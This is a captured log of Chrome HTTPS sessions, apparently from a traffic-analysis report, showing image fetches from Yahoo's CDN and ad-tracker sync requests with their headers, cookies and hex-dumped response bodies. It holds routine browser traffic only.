2024-01-10 23:27:16 UTC	729	OUT	GET /iu/api/res/1.2/u6_Mg2dDzQ2NMpEQ1NvaMQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181228/500x500/army_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1226	IN	HTTP/1.1 200 OK Content-Length: 2571 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 415142153496451709070412747870655176929,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 415142153496451709070412747870655176929,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "6ea2c3e16d4e554879c92e2dd9c48ecd" Expiration: expiry-date="Fri, 21 Jun 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 23 Dec 2023 22:30:12 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=2571,owidth=500,oheight=500,obytes=24013,ef=(1,13,17,21,22,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Mon, 01 Jan 2024 01:25:58 GMT X-Served-By: cache-iad-kjyo7100110-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704072358.269656,VS0,VE74 Age: 856878 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-iad-kjyo7100110-IAD cld_latency: 74 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:16 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0c 17 16 1e 0b 94 93 3a 28 00 00 09 85 49 44 41 54 68 de d5 5a 69 50 54 d7 12 96 99 61 1d 59 64 11 64 14 44 56 05 64 91 45 45 04 45 16 41 16 51 30 a8 b8 a2 a2 a0 b2 44 11 11 70 c3 20 a2 12 97 e0 12 8c 31 6e d9 34 2e 49 d0 44 93 3c 5f 8c 59 cd 56 f9 93 aa a4 52 ef bd 7a 3f f2 27 f5 5e f6 1f e9 f4 77 e2 99 cc e0 70 19 64 c6 90 5b d5 35 77 ee 3d f7 dc f3 9d d3 dd 5f 77 9f 3b 64 88 f1 a1 b6 b1 b1 e9 1c ee e9 fa 85 97 87 eb d7 ee 6e 43 bf e4 6b 53 86 fc 0d 8f ec d5 8b b3 e8 b3 9b 1d f4 f1 6b fb e8 78 fb 1a e2 6b ff 67 39 3b 08 25 5f 09 c8 dc 75 cb 73 e8 f3 37 1e 17 72 f1 Data Ascii: PNGIHDR22?pHYs&?tIME:(IDAThZiPTaYddDVdEEEAQ0Dp 1n4.ID<_YVRz?'^wpd[5w=_w;dnCkSkxkg9;%_us7r
2024-01-10 23:27:16 UTC	1271	IN	Data Raw: 88 bd 20 f6 9c fe c2 4d 6e e5 98 ea 41 54 0b 71 19 de 71 f6 89 1a da be a1 84 0e f2 60 c1 33 f2 3e b8 4a d8 cd ea 02 a1 76 7c 5e da 67 4d 88 83 c3 ff 7d 74 7d af de c0 4c 81 58 f6 48 9a c5 ec 03 82 ac 13 61 d0 d1 b6 3f c3 12 e4 34 32 bc b1 65 97 8c 6b 88 a2 ab 57 e6 e2 3c bd 4f 20 1c b2 7f 82 0e 7c d8 25 ca 4e 11 2c 62 e6 f1 6b 69 10 10 90 20 6c 03 d1 31 d4 1a 33 0f c3 17 6a f7 54 bd 7e 1c e7 78 c5 e0 a6 f9 3c d8 9c 42 dd b3 b7 78 f6 91 1c f5 54 2f 6b 80 38 b1 bf 52 f4 bd 7f db 32 b1 f2 48 ba b2 38 bb 94 f7 9b 6a 8a c5 7d 68 c8 bb 2f b7 a1 2c f4 33 ff d7 98 03 64 13 96 18 e9 a9 b5 41 80 23 c6 f8 ff 91 e2 1a 26 67 b9 e9 71 fa 36 c9 89 7f 4c 28 da 21 e5 76 75 71 7a df dc d2 69 4a f9 a2 4c a3 30 da 1a 20 ee 32 a3 c3 b1 20 2c d9 59 37 df 28 39 43 8a 8c 36 37 Data Ascii: MnATqq`3>Jv\|^gM}t}LXHa?42ekW<O \|%N,bki l13jT~x<BxT/k8R2H8j}h/,3dA#&gq6L(!vuqziJL0 2 ,Y7(9C67

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50013	74.119.119.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	608	OUT	GET /sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	317	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 date: Wed, 10 Jan 2024 23:27:15 GMT server: Kestrel cache-control: private, max-age=3600 expires: 60 transfer-encoding: chunked server-processing-duration-in-ticks: 357810 strict-transport-security: max-age=31536000; preload; connection: close
2024-01-10 23:27:16 UTC	72	IN	Data Raw: 33 44 0d 0a 77 69 6e 64 6f 77 2e 61 64 76 42 69 64 78 63 2e 6d 6e 65 74 52 74 75 73 49 64 28 7b 22 73 74 61 74 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 75 73 65 72 69 64 22 3a 22 22 7d 29 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 3Dwindow.advBidxc.mnetRtusId({"status":"Unknown","userid":""});0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50009	54.165.128.106	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	629	OUT	GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=05885541380958628422864466641451014575
2024-01-10 23:27:16 UTC	903	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: NBdxc8tsS+I= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-va6-2-v053-0bea2c0dd.edge-va6.demdex.com 0 ms set-cookie: dpm=05885541380958628422864466641451014575; Max-Age=15552000; Expires=Mon, 08 Jul 2024 23:27:16 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=05885541380958628422864466641451014575; Max-Age=15552000; Expires=Mon, 08 Jul 2024 23:27:16 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-01-10 23:27:16 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50011	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	735	OUT	GET /iu/api/res/1.2/3P4FecmyTTFWH72mzXTEZQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181210/500x500/providence_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1197	IN	HTTP/1.1 200 OK Content-Length: 2221 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 220570020137173672115380174208699507640,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 220570020137173672115380174208699507640,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "29f5e115fd41bb0a3eb57a7eaccb87be" Expiration: expiry-date="Sun, 26 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 27 Nov 2023 01:36:51 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=2221,owidth=500,oheight=500,obytes=19296 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 03 Jan 2024 05:02:10 GMT X-Served-By: cache-iad-kjyo7100084-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704258131.617905,VS0,VE1 Age: 671106 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100084-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:16 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 1b 01 24 32 0f a0 ba 04 00 00 08 27 49 44 41 54 68 de ed 59 07 4c d4 67 14 af 1b 8c 83 aa 28 43 54 14 90 a1 6c 70 a1 02 8a 08 1c 43 c5 03 e1 0e 0e 04 0e 0e 94 0d 3d 36 32 05 b4 6a a2 51 63 d4 aa 49 35 c6 3a 12 47 dc d1 88 71 1b a5 c6 91 6a 2c d5 38 e2 96 e2 28 be be f7 ec ff df 3b 44 ab 69 d3 6b 9a 7b c9 cb f7 7d ef bf be df db df dd 57 5f e9 49 4f 7a d2 93 9e f4 a4 27 3d 7d 11 d5 2d fa b6 2f b2 64 61 c3 e2 b2 9c fc 6f 36 25 ab d2 f6 a6 a4 a6 ed 51 17 16 af 43 79 26 b2 13 f2 7f 7a f3 73 55 69 f3 0f 4e 9b 1e f0 66 84 95 15 f4 e8 d1 03 f0 92 16 f7 35 32 02 77 0f 4f Data Ascii: PNGIHDR22?pHYs&?tIME$2'IDAThYLg(CTlpC=62jQcI5:Gqj,8(;Dik{}W_IOz'=}-/dao6%QCy&zsUiNf52wO
2024-01-10 23:27:16 UTC	921	IN	Data Raw: 58 58 18 64 65 65 41 60 60 20 3c 7b f6 8c 65 ee ee ee 5c 28 4b 4b 4b 79 9d 9a 9a 0a a7 4f 9f e6 fb 0e 1f 3e 0c a7 4e 9d 02 0f 0f 0f 58 b7 6e 1d 66 3c 1b 4a 14 01 5a 40 14 f1 73 1b 65 32 19 3f 4c 1f 4c 48 48 10 b5 45 74 f0 e0 41 7e c9 89 13 27 60 d9 b2 65 f0 e4 c9 13 36 35 51 7e 7e 3e 8f e9 e9 e9 f0 f8 f1 63 b6 ca ca 95 2b e1 d1 a3 47 60 60 60 c0 9d 6e 6d 6d 2d ac 58 b1 82 65 82 d5 ea eb eb d9 2d a9 20 12 bd 7a f5 0a 96 2f 5f ce f3 a2 a2 22 1e 2d 2c 2c c4 3a 45 5e 70 f1 e2 45 88 8e 8e 66 19 65 42 04 32 50 ab c0 61 4e ff 75 c9 92 25 fc 30 dd 7c e3 c6 0d 11 14 d1 99 33 67 d8 fc 99 99 99 d0 d8 d8 c8 da a1 44 20 58 46 68 00 49 9b 74 d6 20 2b 90 2b 78 7a 7a f2 35 a9 54 ca 8a 38 70 e0 00 cb c9 7d 37 6f de cc 1b 24 05 12 d8 43 87 0e b1 f5 6f de bc 09 ab 57 af 86 Data Ascii: XXdeeA`` <{e\(KKKyO>NXnf<JZ@se2?LLHHEtA~'`e65Q~~>c+G```nmm-Xe- z/_"-,,:E^pEfeB2PaNu%0\|3gD XFhIt ++xzz5T8p}7o$CoW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50010	18.160.10.96	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	878	OUT	GET /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=16Db496f6ca59f87c3dafa11704929235
2024-01-10 23:27:16 UTC	363	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Wed, 10 Jan 2024 23:27:16 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 68a3b1d5c75429221abc685a453afb60.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: aJmYJS5He35TDhHRFDKVjLUFR-TBeAfcBeXWepnloxuSzEURFQE7KA==
2024-01-10 23:27:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50014	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	737	OUT	GET /iu/api/res/1.2/IkFljGiNauQREEGi3lrW9w--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190610/500x500/st_johns_ny_wbgs.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1293	IN	HTTP/1.1 200 OK Content-Length: 2039 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 432636264283339044640348325409491145099,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 432636264283339044640348325409491145099,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "ad9a7b6adb52cd97851d9d6cc6a97021" Expiration: expiry-date="Mon, 27 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 28 Nov 2023 02:53:14 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=2039,owidth=500,oheight=500,obytes=7629 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 29 Dec 2023 01:03:50 GMT X-Served-By: cache-lga21936-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1703811830.249147,VS0,VE1 Age: 1117406 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21936-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:16 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 1c 02 35 0d 75 8e 32 c9 00 00 07 96 49 44 41 54 68 de d5 5a 09 54 8d 69 18 16 25 8a 56 d9 93 65 66 1a 83 84 16 61 92 32 65 37 42 0e 63 c9 8c 7d 2d 4c 63 5f 26 e3 34 33 96 a1 8e c1 a0 d3 19 51 68 44 76 4a 19 c6 31 c6 4c d6 41 54 ca d2 34 4c 94 70 bb ea 9d f7 f9 fd d7 b9 dd fe 7b 2b ae fe eb 9e f3 9c d3 fd ef b7 3d ff fb 7d ef fb bc ef 57 b5 6a af f1 21 a2 3a 8c b1 8c d8 a2 22 e5 95 dc 87 79 77 1f 17 3c c9 e4 ef 89 8c 05 0c 5f 1d f8 b0 9a dc 1f 5e 44 0d c6 ac bb 39 0f 1e 86 ae 89 22 97 de e3 a9 56 cb 9e 64 dc ac 87 00 07 b7 a1 34 69 ee 2a 5a bd 69 a7 24 76 26 9c e0 Data Ascii: PNGIHDR22?pHYs&?tIME5u2IDAThZTi%Vefa2e7Bc}-Lc_&43QhDvJ1LAT4Lp{+=}Wj!:"yw<_^D9"Vd4i*Zi$v&
2024-01-10 23:27:16 UTC	739	IN	Data Raw: 51 0c 52 16 8e bd c9 cb 4e 5a 2d bb f1 38 4e 3d c7 be f2 5a 06 41 04 88 66 b9 02 97 aa ee 00 10 53 0e 49 c4 93 03 fc 0c 5e 2a 78 69 84 e1 11 51 59 e6 fb da 2e 34 97 f7 ff 46 1d 15 c8 c9 ec 20 b0 c0 3f 2e 5c 7b c1 e3 e6 1a 1c 91 8a 20 9e 65 0c 72 1a 24 69 fc d9 55 e5 5a 4b 1b 91 93 95 20 81 c2 03 ea 5d e6 ef f9 d2 a5 6b e9 cf c5 44 cb 30 88 60 2b 95 57 c8 06 70 56 50 89 c7 c2 b6 c4 1c 80 35 e6 54 5c c6 bf 05 22 ed 58 13 6d e7 83 ad 02 52 50 64 81 a8 b8 1f 97 48 81 61 05 04 bf 46 9c bf 98 36 f7 a1 88 c8 5f 40 62 33 74 9a ac 44 b4 49 14 95 50 f4 b4 eb 46 01 ac af 90 77 74 e3 bf f1 4c f5 7b ab 2e c3 41 e2 b4 2a 68 ca 46 e4 fa ad 2c 3a 9a 72 ae 0c 30 19 ac a2 29 fa d4 61 6a ff 8a c8 3e 8d 71 ab 9c 88 19 a3 91 04 fe c6 64 d8 3e ba ce 88 1f 4b 72 83 20 a2 83 e0 Data Ascii: QRNZ-8N=ZAfSI^xiQY.4F ?.\{ er$iUZK ]kD0`+WpVP5T\"XmRPdHaF6_@b3tDIPFwtL{.AhF,:r0)aj>qd>Kr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50005	50.57.31.206	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	644	OUT	GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	672	IN	HTTP/1.1 302 Found Location: /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external UIP-Response-Status: Ok Frontend-ID: 3 Set-Cookie: SEUNCY=2ECD9A48FE9664AD; Expires=Thu, 09 Jan 2025 23:27:16 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Connection: close Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Length: 0 Routing-Server-ID: -1 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50016	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1236	OUT	GET /ups/58267/sync?uid=968062845637553879&_origin=0&redir=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
